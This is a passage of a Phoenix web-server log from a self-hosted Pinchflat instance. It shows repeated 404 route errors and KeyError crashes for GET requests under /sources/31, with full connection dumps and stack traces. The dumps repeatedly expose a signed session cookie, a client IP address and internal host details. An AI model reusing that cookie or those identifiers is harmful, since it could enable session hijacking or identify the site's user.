"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYnb-WKrOGE8YADGNi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140052.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47148}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140052.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47148}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicat (truncated) 06:03:19.742 [info] GET /sources/31/force_index 06:03:19.743 [debug] QUERY OK source="settings" db=0.1ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.743 [debug] QUERY OK source="settings" db=0.0ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.743 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.743 [error] #PID<0.140070.0> running PinchflatWeb.Endpoint (connection #PID<0.140051.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140070.0>, params: %{}, path_info: ["sources", "31", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYncBNndWYjmIAAJaj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br" (truncated) 06:03:19.803 [info] GET /sources/31/force_metadata_refresh 06:03:19.803 [debug] QUERY OK source="settings" db=0.1ms idle=72.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.804 [debug] QUERY OK source="settings" db=0.1ms idle=72.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.804 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.804 [error] #PID<0.140071.0> running PinchflatWeb.Endpoint (connection #PID<0.140051.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140071.0>, params: %{}, path_info: ["sources", "31", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYncPriokZz2UAAJbD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicat (truncated) 06:03:19.836 [info] GET /sources/31/sync_files_on_disk 06:03:19.837 [debug] QUERY OK source="settings" db=0.2ms idle=105.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.838 [debug] QUERY OK source="settings" db=0.2ms idle=94.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.838 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.838 [error] #PID<0.140072.0> running PinchflatWeb.Endpoint (connection #PID<0.140051.0>, stream id 7) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140072.0>, params: %{}, path_info: ["sources", "31", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYncXolZZXg5UAAJbj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: 